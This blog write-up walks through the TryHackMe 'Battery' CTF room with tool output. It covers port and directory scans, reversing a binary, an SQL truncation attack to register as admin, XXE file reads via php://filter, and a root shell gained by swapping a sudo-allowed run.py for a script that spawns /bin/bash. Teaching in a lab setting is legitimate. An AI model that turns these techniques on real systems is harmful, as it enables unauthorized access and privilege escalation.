[EN] TryHackMe — Battery Write-Up

Anıl Çelik
14 min readJan 28, 2021

Hello everyone, it’s been a while since I didn’t publish any write-ups and I decided to publish some of it again for people to make use of it while they are struggling.

In this write-up, I’ll be sharing the walkthrough of the room named Battery , which is made by cr3t3ht3 . To be honest, I like the vulnerabilities included in this box and I think the creator have done a quite nice job on building it.

Recon

Anyways, first off: Nmap scan!

root@0xpr0N3rd:~/Desktop/0xpr0N3rd/writeups/battery# scan battery.thm -p-
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-28 06:23 EST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 06:23
Completed NSE at 06:23, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 06:23
Completed NSE at 06:23, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 06:23
Completed NSE at 06:23, 0.00s elapsed
Initiating SYN Stealth Scan at 06:23
Scanning battery.thm (10.10.204.193) [65535 ports]
Discovered open port 80/tcp on 10.10.204.193
Discovered open port 22/tcp on 10.10.204.193
SYN Stealth Scan Timing: About 14.61% done; ETC: 06:27 (0:03:01 remaining)
SYN Stealth Scan Timing: About 54.85% done; ETC: 06:25 (0:00:50 remaining)
Completed SYN Stealth Scan at 06:25, 88.09s elapsed (65535 total ports)
Initiating Service scan at 06:25
Scanning 2 services on battery.thm (10.10.204.193)
Completed Service scan at 06:25, 6.15s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against battery.thm (10.10.204.193)
Retrying OS detection (try #2) against battery.thm (10.10.204.193)
Retrying OS detection (try #3) against battery.thm (10.10.204.193)
Retrying OS detection (try #4) against battery.thm (10.10.204.193)
Retrying OS detection (try #5) against battery.thm (10.10.204.193)
Initiating Traceroute at 06:25
Completed Traceroute at 06:25, 0.07s elapsed
Initiating Parallel DNS resolution of 1 host. at 06:25
Completed Parallel DNS resolution of 1 host. at 06:25, 0.00s elapsed
NSE: Script scanning 10.10.204.193.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 06:25
Completed NSE at 06:25, 2.52s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 06:25
Completed NSE at 06:25, 0.29s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 06:25
Completed NSE at 06:25, 0.00s elapsed
Nmap scan report for battery.thm (10.10.204.193)
Host is up, received user-set (0.073s latency).
Scanned at 2021-01-28 06:23:37 EST for 109s
Not shown: 65533 closed ports
Reason: 65533 resets
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 14:6b:67:4c:1e:89:eb:cd:47:a2:40:6f:5f:5c:8c:c2 (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAPe2PVDHBBlUCEtHNVxjToY/muZpZ4hrISDM7fuGOkh/Lp9gAwpEh24Y/u197WBDTihDJsDZJqrJEJSWbpiZgReyh1LtJTt3ag8GrUUDJCNx6lLUIWR5iukdpF7A2EvV4gFn7PqbmJmeeQRtB+vZJSp6VcjEG0wYOcRw2Z6N6ho3AAAAFQCg45+RiUGvOP0QLD6PPtrMfuzdQQAAAIEAxCPXZB4BiX72mJkKcVJPkqBkL3t+KkkbDCtICWi3d88rOqPAD3yRTKEsASHqSYfs6PrKBd50tVYgeL+ss9bP8liojOI7nP0WQzY2Zz+lfPa+d0uzGPcUk0Wg3EyLLrZXipUg0zhPjcXtxW9+/H1YlnIFoz8i/WWJCVaUTIR3JOoAAACBAMJ7OenvwoThUw9ynqpSoTPKYzYlM6OozdgU9d7R4XXgFXXLXrlL0Fb+w7TT4PwCQO1xJcWp5xJHi9QmXnkTvi386RQJRJyI9l5kM3E2TRWCpMMQVHya5L6PfWKf08RYGp0r3QkQKsG1WlvMxzLCRsnaVBqCLasgcabxY7w6e2EM
| 2048 66:42:f7:91:e4:7b:c6:7e:47:17:c6:27:a7:bc:6e:73 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkDLTds2sLmn9AZ0KAl70Fu5gfx5T6MDJehrsCzWR3nIVczHLHFVP+jXDzCcB075jjXbb+6IYFOdJiqgnv6SFxk85kttdvGs/dnmJ9/btJMgqJI0agbWvMYlXrOSN26Db3ziUGrddEjTT74Z1kokg8d7uzutsfZjxxCn0q75NDfDpNNMLlstOEfMX/HtOUaLQ47IeuSpaQoUkNkHF2SGoTTpbC+avzcCNHRIZEwQ6HdA3vz1OY6TnpAk8Gu6st9XoDGblGt7xv1vyt0qUdIYaKib8ZJQyj1vb+SJx6dCljix4yDX+hbtyKn08/tRfNeRhVSIIymOTxSGzBru2mUiO5
| 256 a8:6a:92:ca:12:af:85:42:e4:9c:2b:0e:b5:fb:a8:8b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCYHRWUDqeSQgon8sLFyvLMQygCx01yXZR6kxiT/DnZU+3x6QmTUir0HaiwM/n3aAV7eGigds0GPBEVpmnw6iu4=
| 256 62:e4:a3:f6:c6:19:ad:30:0a:30:a1:eb:4a:d3:12:d3 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILW7vyhbG1WLLhSEDM0dPxFisUrf7jXiYWNSTqw6Exri
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.7 ((Ubuntu))
| http-methods:
|_ Supported Methods: POST OPTIONS GET HEAD
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=1/28%OT=22%CT=1%CU=33132%PV=Y%DS=2%DC=T%G=Y%TM=60129F2
OS:6%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10E%TI=Z%CI=I%II=I%TS=8)OPS
OS:(O1=M505ST11NW6%O2=M505ST11NW6%O3=M505NNT11NW6%O4=M505ST11NW6%O5=M505ST1
OS:1NW6%O6=M505ST11)WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)ECN
OS:(R=Y%DF=Y%T=40%W=6903%O=M505NNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)
Uptime guess: 0.011 days (since Thu Jan 28 06:08:59 2021)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 995/tcp)
HOP RTT ADDRESS
1 72.51 ms 10.8.0.1 (10.8.0.1)
2 72.10 ms battery.thm (10.10.204.193)
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 06:25
Completed NSE at 06:25, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 06:25
Completed NSE at 06:25, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 06:25
Completed NSE at 06:25, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 109.44 seconds
Raw packets sent: 68138 (3.002MB) | Rcvd: 66788 (2.678MB)

As we can see, ports 22 and 80 are open on the box. Next, Gobuster:

root@0xpr0N3rd:~/Desktop/0xpr0N3rd/writeups/battery# dirscan battery.thm
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://battery.thm
[+] Threads: 50
[+] Wordlist: /usr/share/dirb/wordlists/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php,txt,html
[+] Timeout: 10s
===============================================================
2021/01/28 06:06:13 Starting gobuster
===============================================================
/.htpasswd (Status: 403)
/.htpasswd.php (Status: 403)
/.htpasswd.txt (Status: 403)
/.htpasswd.html (Status: 403)
/.hta (Status: 403)
/.hta.txt (Status: 403)
/.hta.html (Status: 403)
/.hta.php (Status: 403)
/acc.php (Status: 200)
/admin.php (Status: 200)
/.htaccess (Status: 403)
/.htaccess.php (Status: 403)
/.htaccess.txt (Status: 403)
/.htaccess.html (Status: 403)
/dashboard.php (Status: 302)
/forms.php (Status: 200)
/index.html (Status: 200)
/logout.php (Status: 302)
/register.php (Status: 200)
/report (Status: 200)
/scripts (Status: 301)

/server-status (Status: 403)
/with.php (Status: 302)
===============================================================
2021/01/28 06:06:50 Finished
===============================================================

From the gobuster output, we see there are some interesting directories in the web server. Let’s see what they have inside them:

  • /index.html

Main page looks like this and no, it does not contain anything in it’s page source.

  • /acc.php

When you try to see the content of the directory named “/acc.php”, you are getting an alert telling you that “Only Admins can access this page!”, which means you need to get authenticated as admin. This gives us a clue.

  • /admin.php

When you visit “/admin.php”, you are being welcomed by a login page. Note that you can either go with some default cred trys such as “admin:admin” or whatever. Or, you can register a new user to the system by the link that is below the form.

  • /dashboard.php

When you visit “/dashboard.php”, the story is the same with “/admin.php”, you need to get authenticated with any user (you need to be the admin for privileged operations in this case).

  • /forms.php

In here, following alert pops up again:

Before we get into “/register.php”, let’s continue to inspect the other ones.

There is nothing valuable in the remaining ones, namely “/with.php” and “/scripts”.

  • /report

When you visit “/report”, there is a file that you can download. Let’s download and analyze it.

root@0xpr0N3rd:~/Desktop/0xpr0N3rd/writeups/battery# file report 
report: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=44ffe4e81d688f7b7fe59bdf74b03f828a4ef3fe, for GNU/Linux 3.2.0, not stripped

We can see that the file type is “ELF”, which means it is an executable file for UNIX systems. Now, you can either go with Ghidra to reverse the file or simply hit “strings” on the file. While I was solving the box I was too lazy to go with Ghidra after I saw the strings output but I’ll be going with both of them since this is a write-up.

  • Strings output
root@0xpr0N3rd:~/Desktop/0xpr0N3rd/writeups/battery# strings report 
/lib64/ld-linux-x86-64.so.2
__isoc99_scanf
puts
printf
system
__cxa_finalize
strcmp
__libc_start_main
libc.so.6
GLIBC_2.7
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u/UH
[]A\A]A^A_
admin@bank.a
Password Updated Successfully!
Sorry you can't update the password
Welcome Guest
===================Available Options==============
1. Check users
2. Add user
3. Delete user
4. change password
5. Exit
clear
===============List of active users================
support@bank.a
contact@bank.a
cyber@bank.a
admins@bank.a
sam@bank.a
admin0@bank.a
super_user@bank.a
control_admin@bank.a
it_admin@bank.a
Welcome To ABC DEF Bank Managemet System!
UserName :
Password :
guest
Your Choice :
email :
not available for guest account
Wrong option
Wrong username or password
;*3$"
GCC: (Debian 9.3.0-15) 9.3.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.7452
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
report.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
update
_ITM_deregisterTMCloneTable
puts@@GLIBC_2.2.5
_edata
options
system@@GLIBC_2.2.5
users
printf@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
strcmp@@GLIBC_2.2.5
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main
__isoc99_scanf@@GLIBC_2.7
__TMC_END__
_ITM_registerTMCloneTable
__cxa_finalize@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got.plt
.data
.bss
.comment

You can clearly see the list of active users in the system.

  • Ghidra Output

There are three functions that we need to consider: main, update and users.

  • Function “main”
undefined8 main(void){
int iVar1;
int local_8c;
char local_88 [32];
char local_68 [32];
undefined local_48 [32];
undefined local_28 [32];

local_8c = 0;
puts("\n\n\n");
puts("Welcome To ABC DEF Bank Managemet System!\n\n");
printf("UserName : ");
__isoc99_scanf(&DAT_001021f0,local_68);
puts("\n");
printf("Password : ");
__isoc99_scanf(&DAT_001021f0,local_88);
iVar1 = strcmp(local_68,"guest");
if ((iVar1 == 0) && (iVar1 = strcmp(local_88,"guest"), iVar1 == 0)) {
options();
while (local_8c != 5) {
printf("Your Choice : ");
__isoc99_scanf(&DAT_00102216,&local_8c);
if (local_8c == 1) {
users();
}
else {
if (local_8c == 4) {
printf("email : ");
__isoc99_scanf(&DAT_001021f0,local_28);
puts("\n");
printf("Password : ");
__isoc99_scanf(&DAT_001021f0,local_48);
update(local_28,local_48,local_48);
}
else {
if ((local_8c == 3) || (local_8c == 2)) {
puts("not available for guest account\n");
system("clear");
options();
}
else {
puts("Wrong option\n");
system("clear");
options();
}
}
}
}
}
else {
printf("Wrong username or password");
}
return 0;
}

It includes a little welcome banner, login system and specifying an option feature.

  • Function “update”
void update(char *param_1){
int iVar1;

iVar1 = strcmp(param_1,"admin@bank.a");
if (iVar1 == 0) {
puts("Password Updated Successfully!\n");
options();
}
else {
puts("Sorry you can\'t update the password\n");
options();
}
return;
}

It basically checks whether “iVar1” is equal to “admin@bank.a” and if it is, it lets you o update the password and rejects your request otherwise.

  • Function “users”
void users(void){
system("clear");
puts("\n===============List of active users================");
puts("support@bank.a");
puts("contact@bank.a");
puts("cyber@bank.a");
puts("admins@bank.a");
puts("sam@bank.a");
puts("admin0@bank.a");
puts("super_user@bank.a");
puts("admin@bank.a");
puts("control_admin@bank.a");
puts("it_admin@bank.a\n\n");
options();
return;
}

It’s pretty clear, there is a list of active users in the system.

Alright, enough with recon. Let’s get down to business.

Gaining Access

Remember we had a “/register.php” directory? Let’s go for it:

  • /register.php

In register form, you can either try to register a normal user with arbitrary creds or you can try to register as admin (BIG BRAIN TIME).

Note that we got the list of active users on the system by reversing the file named “report”, so let’s go with it.

When we check out the page source, we can see that the username field is constrained by 12 characters. What comes to my mind is: SQL Truncation Attack. Before gaining access as admin, you can either read my post about SQL Truncation Attack (it’s in my native language Turkish, but maybe I’ll publish the [EN] version too (maybe I won’t)) OR, you can check out this post for the [EN] explanation. Now let’s continue with exploitation:

Normally, without doing anything shenanigan, when we try to register with admin mail: “admin@bank.a”, we are getting following response:

Hehe, jokes on you, I’m not wasting my time. Time to fire up your BurpSuite.

See the field that is marked in red rectangle? This is where our register info goes to the server. What we do in SQL Truncation Attack is basically trying to fool the database (usually MySQL) by giving it an input that we are not supposed to give.

In this case, as the register form is tells us, the register form is waiting for a 12 chars length input for the username. If we try to give anything longer than 12 chars, e.g. by giving a blank character at the end, we are expecting that it should get truncated. However, in SQL Truncation Attack, this is not how that actually works.

If the username for admin user is “admin@bank.a” and if you try to register with a username such as “admin@bank.a ” (or with more spaces), your input gets truncated and it should not be saved to the database since you are exceeding the maximum character length, 12 and “admin@bank.a” and “admin@bank.a ” are equal to eachother when the second one gets truncated.

How can you bypass this restriction?

If you add another arbitrary character after giving blank characters to your username input, that arbitrary character would get truncated also and your data should be saved into the database:

And the response:

Pretty cool, huh?

Now that we are registered, let’s dive into the system by logging in with our user:

This is how the dashboard looks.

When we come to “command” section, we see there is a little form for sending messages to other accounts.

Let’s see what it actuall does:

Ah, XML. Here we go again. Let’s directly try XXE without wasting any more time.

Seems like we were right. We are able to read the “/etc/passwd” file but we are not able to read “/acc.php” with normal way; so let’s use “php://filter”:

The reason why we used this filtering is because high probably “allow_url_include” was not allowed in here so we are not allowed to read files in the system because of it. By using this filtering, PHP is being forced to encode the file with Base64 before it is being called and the magic happens. After retrieving the file, we can see it’s content by simply decoding it:

root@0xpr0N3rd:~/Desktop/0xpr0N3rd/writeups/battery# echo PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KPHN0eWxlPgpmb3JtCnsKICBib3JkZXI6IDJweCBzb2xpZCBibGFjazsKICBvdXRsaW5lOiAjNENBRjUwIHNvbGlkIDNweDsKICBtYXJnaW46IGF1dG87CiAgd2lkdGg6MTgwcHg7CiAgcGFkZGluZzogMjBweDsKICB0ZXh0LWFsaWduOiBjZW50ZXI7Cn0KCgp1bCB7CiAgbGlzdC1zdHlsZS10eXBlOiBub25lOwogIG1hcmdpbjogMDsKICBwYWRkaW5nOiAwOwogIG92ZXJmbG93OiBoaWRkZW47CiAgYmFja2dyb3VuZC1jb2xvcjogIzMzMzsKfQoKbGkgewogIGZsb2F0OiBsZWZ0OwogIGJvcmRlci1yaWdodDoxcHggc29saWQgI2JiYjsKfQoKbGk6bGFzdC1jaGlsZCB7CiAgYm9yZGVyLXJpZ2h0OiBub25lOwp9CgpsaSBhIHsKICBkaXNwbGF5OiBibG9jazsKICBjb2xvcjogd2hpdGU7CiAgdGV4dC1hbGlnbjogY2VudGVyOwogIHBhZGRpbmc6IDE0cHggMTZweDsKICB0ZXh0LWRlY29yYXRpb246IG5vbmU7Cn0KCmxpIGE6aG92ZXI6bm90KC5hY3RpdmUpIHsKICBiYWNrZ3JvdW5kLWNvbG9yOiAjMTExOwp9CgouYWN0aXZlIHsKICBiYWNrZ3JvdW5kLWNvbG9yOiBibHVlOwp9Cjwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+Cgo8dWw+CiAgPGxpPjxhIGhyZWY9ImRhc2hib2FyZC5waHAiPkRhc2hib2FyZDwvYT48L2xpPgogIDxsaT48YSBocmVmPSJ3aXRoLnBocCI+V2l0aGRyYXcgTW9uZXk8L2E+PC9saT4KICA8bGk+PGEgaHJlZj0iZGVwby5waHAiPkRlcG9zaXQgTW9uZXk8L2E+PC9saT4KICA8bGk+PGEgaHJlZj0idHJhLnBocCI+VHJhbnNmZXIgTW9uZXk8L2E+PC9saT4KICA8bGk+PGEgaHJlZj0iYWNjLnBocCI+TXkgQWNjb3VudDwvYT48L2xpPgogIDxsaT48YSBocmVmPSJmb3Jtcy5waHAiPmNvbW1hbmQ8L2E+PC9saT4KICA8bGk+PGEgaHJlZj0ibG9nb3V0LnBocCI+TG9nb3V0PC9hPjwvbGk+CiAgPGxpIHN0eWxlPSJmbG9hdDpyaWdodCI+PGEgaHJlZj0iY29udGFjdC5waHAiPkNvbnRhY3QgVXM8L2E+PC9saT4KPC91bD48YnI+PGJyPjxicj48YnI+Cgo8L2JvZHk+CjwvaHRtbD4KCjw/cGhwCgpzZXNzaW9uX3N0YXJ0KCk7CmlmKGlzc2V0KCRfU0VTU0lPTlsnZmF2Y29sb3InXSkgYW5kICRfU0VTU0lPTlsnZmF2Y29sb3InXT09PSJhZG1pbkBiYW5rLmEiKQp7CgplY2hvICI8aDMgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+V2VjbG9tZSB0byBBY2NvdW50IGNvbnRyb2wgcGFuZWw8L2gzPiI7CmVjaG8gIjxmb3JtIG1ldGhvZD0nUE9TVCc+IjsKZWNobyAiPGlucHV0IHR5cGU9J3RleHQnIHBsYWNlaG9sZGVyPSdBY2NvdW50IG51bWJlcicgbmFtZT0nYWNubyc+IjsKZWNobyAiPGJyPjxicj48YnI+IjsKZWNobyAiPGlucHV0IHR5cGU9J3RleHQnIHBsYWNlaG9sZGVyPSdNZXNzYWdlJyBuYW1lPSdtc2cnPiI7CmVjaG8gIjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdTZW5kJyBuYW1lPSdidG4nPiI7CmVjaG8gIjwvZm9ybT4iOwovL01ZIENSRURTIDotIGN5YmVyOnN1cGVyI3NlY3VyZSZwYXNzd29yZCEKaWYoaXNzZXQoJF9QT1NUWydidG4nXSkpCnsKJG1zPSRfUE9TVFsnbXNnJ107CmVjaG8gIm1zOiIuJG1zOwppZigkbXM9PT0iaWQiKQp7CnN5c3RlbSgkbXMpOwp9CmVsc2UgaWYoJG1zPT09Indob2FtaSIpCnsKc3lzdGVtKCRtcyk7Cn0KZWxzZQp7CmVjaG8gIjxzY3JpcHQ+YWxlcnQoJ1JDRSBEZXRlY3RlZCEnKTwvc2NyaXB0PiI7CnNlc3Npb25fZGVzdHJveSgpOwp1bnNldCgkX1NFU1NJT05bJ2ZhdmNvbG9yJ10pOwpoZWFkZXIoIlJlZnJlc2g6IDAuMTsgdXJsPWluZGV4Lmh0bWwiKTsKfQp9Cn0KZWxzZQp7CmVjaG8gIjxzY3JpcHQ+YWxlcnQoJ09ubHkgQWRtaW5zIGNhbiBhY2Nlc3MgdGhpcyBwYWdlIScpPC9zY3JpcHQ+IjsKc2Vzc2lvbl9kZXN0cm95KCk7CnVuc2V0KCRfU0VTU0lPTlsnZmF2Y29sb3InXSk7CmhlYWRlcigiUmVmcmVzaDogMC4xOyB1cmw9aW5kZXguaHRtbCIpOwp9Cj8+Cg== | base64 -d
<!DOCTYPE html>
<html>
<head>
<style>
form
{
border: 2px solid black;
outline: #4CAF50 solid 3px;
margin: auto;
width:180px;
padding: 20px;
text-align: center;
}
ul {
list-style-type: none;
margin: 0;
padding: 0;
overflow: hidden;
background-color: #333;
}
li {
float: left;
border-right:1px solid #bbb;
}
li:last-child {
border-right: none;
}
li a {
display: block;
color: white;
text-align: center;
padding: 14px 16px;
text-decoration: none;
}
li a:hover:not(.active) {
background-color: #111;
}
.active {
background-color: blue;
}
</style>
</head>
<body>
<ul>
<li><a href="dashboard.php">Dashboard</a></li>
<li><a href="with.php">Withdraw Money</a></li>
<li><a href="depo.php">Deposit Money</a></li>
<li><a href="tra.php">Transfer Money</a></li>
<li><a href="acc.php">My Account</a></li>
<li><a href="forms.php">command</a></li>
<li><a href="logout.php">Logout</a></li>
<li style="float:right"><a href="contact.php">Contact Us</a></li>
</ul><br><br><br><br>
</body>
</html>
<?phpsession_start();
if(isset($_SESSION['favcolor']) and $_SESSION['favcolor']==="admin@bank.a")
{
echo "<h3 style='text-align:center;'>Weclome to Account control panel</h3>";
echo "<form method='POST'>";
echo "<input type='text' placeholder='Account number' name='acno'>";
echo "<br><br><br>";
echo "<input type='text' placeholder='Message' name='msg'>";
echo "<input type='submit' value='Send' name='btn'>";
echo "</form>";
//MY CREDS :- cyber:super********password!
if(isset($_POST['btn']))
{
$ms=$_POST['msg'];
echo "ms:".$ms;
if($ms==="id")
{
system($ms);
}
else if($ms==="whoami")
{
system($ms);
}
else
{
echo "<script>alert('RCE Detected!')</script>";
session_destroy();
unset($_SESSION['favcolor']);
header("Refresh: 0.1; url=index.html");
}
}
}
else
{
echo "<script>alert('Only Admins can access this page!')</script>";
session_destroy();
unset($_SESSION['favcolor']);
header("Refresh: 0.1; url=index.html");
}
?>

We see that the creds are given as a hint in order to get an SSH connection, so let’s go with it:

root@0xpr0N3rd:~/Desktop/0xpr0N3rd/writeups/battery# ssh cyber@battery.thm
cyber@battery.thm's password:
Welcome to Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic x86_64)
* Documentation: https://help.ubuntu.com/System information as of Thu Jan 28 17:09:38 IST 2021System load: 0.0 Processes: 107
Usage of /: 2.4% of 68.28GB Users logged in: 0
Memory usage: 25% IP address for eth0: 10.10.204.193
Swap usage: 0%
Graph this data and manage this system at:
https://landscape.canonical.com/
Last login: Thu Jan 28 17:09:38 2021 from ip-10-8-118-149.eu-west-1.compute.internal
cyber@ubuntu:~$

Check out the files in current directory:

cyber@ubuntu:~$ ls -la
total 36
drwx------ 3 cyber cyber 4096 Jan 28 18:55 .
drwxr-xr-x 4 root root 4096 Nov 16 15:28 ..
-rw------- 1 cyber cyber 582 Jan 28 18:54 .bash_history
-rw-r--r-- 1 cyber cyber 220 Nov 9 21:06 .bash_logout
-rw-r--r-- 1 cyber cyber 3637 Nov 9 21:06 .bashrc
drwx------ 2 cyber cyber 4096 Nov 9 21:52 .cache
-rw--w---- 1 cyber cyber 85 Nov 15 16:45 flag1.txt
-rw-r--r-- 1 cyber cyber 675 Nov 9 21:06 .profile
-rwx------ 1 root root 349 Nov 15 18:33 run.py
cyber@ubuntu:~$

We have the flag1 in here and interestingly we have another file, named “run.py”. We can try to see it’s contents but we are getting a “Permission denied” error. Then, we can check out user cyber’s sudo privileges:

cyber@ubuntu:~$ sudo -l
Matching Defaults entries for cyber on ubuntu:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User cyber may run the following commands on ubuntu:
(root) NOPASSWD: /usr/bin/python3 /home/cyber/run.py

Seems like we are able to execute this file without any password check, sweet.

cyber@ubuntu:~$ sudo /usr/bin/python3 /home/cyber/run.py 
Hey Cyber I have tested all the main components of our web server but something unusal happened from my end!

We get this output but what is interesting in here is that this output is being written to the screen slowly, as if someone is typing it concurrently. I am not gonna lie, what I thought first was Python Library Hijacking since it clearly using a library to make that effect work. Btw, you can check out the detailed explanation of Python Library Hijacking in one of my other writeups. However, that did not work.

Privilege Escalation

What worked for me was the following. Let’s check out this file’s permissions again:

cyber@ubuntu:~$ ls -la run.py 
-rwx------ 1 root root 349 Nov 15 18:33 run.py

Note that the owner of this file is root and you are able to execute this file with sudo rights. Since this file is in your own directory (user cyber) and since you can make changes in this directory, why not create a second “run.py” and try to execute it with same permissions?

cyber@ubuntu:~$ mv run.py run.py.orig
cyber@ubuntu:~$ nano run.py
cyber@ubuntu:~$ cat run.py
import os
os.system("/bin/bash")
cyber@ubuntu:~$ ls -la
total 40
drwx------ 3 cyber cyber 4096 Jan 28 19:06 .
drwxr-xr-x 4 root root 4096 Nov 16 15:28 ..
-rw------- 1 cyber cyber 809 Jan 28 19:05 .bash_history
-rw-r--r-- 1 cyber cyber 220 Nov 9 21:06 .bash_logout
-rw-r--r-- 1 cyber cyber 3637 Nov 9 21:06 .bashrc
drwx------ 2 cyber cyber 4096 Nov 9 21:52 .cache
-rw--w---- 1 cyber cyber 85 Nov 15 16:45 flag1.txt
-rw-r--r-- 1 cyber cyber 675 Nov 9 21:06 .profile
-rw-rw-r-- 1 cyber cyber 33 Jan 28 19:06 run.py
-rwx------ 1 root root 349 Nov 15 18:33 run.py.orig

Now execute the file again:

cyber@ubuntu:~$ sudo /usr/bin/python3 /home/cyber/run.py
root@ubuntu:~# id
uid=0(root) gid=0(root) groups=0(root)

User flag is in second user’s home directory. Seems like there were some another journey intended in the box but I guess we skipped that part with our way of priv esc.

root@ubuntu:/home/yash# pwd
/home/yash
root@ubuntu:/home/yash# ls -la
total 36
drwx------ 3 yash yash 4096 Nov 17 19:47 .
drwxr-xr-x 4 root root 4096 Nov 16 15:28 ..
-rw------- 1 yash yash 0 Nov 17 19:47 .bash_history
-rw-r--r-- 1 yash yash 3637 Nov 15 15:52 .bashrc
drwx------ 2 yash yash 4096 Nov 16 17:18 .cache
-rwx------ 1 root root 864 Nov 17 10:44 emergency.py
-rw-rw-r-- 1 yash yash 167 Nov 17 17:09 fernet
-rw-rw-r-- 1 yash yash 68 Nov 16 19:14 flag2.txt
-rw-r--r-- 1 yash yash 675 Nov 15 15:52 .profile
-rw--w---- 1 yash yash 295 Nov 15 18:44 root.txt

Nice and easy.

Thank you for reading my write-up, hopefully see you on the next one!

--

--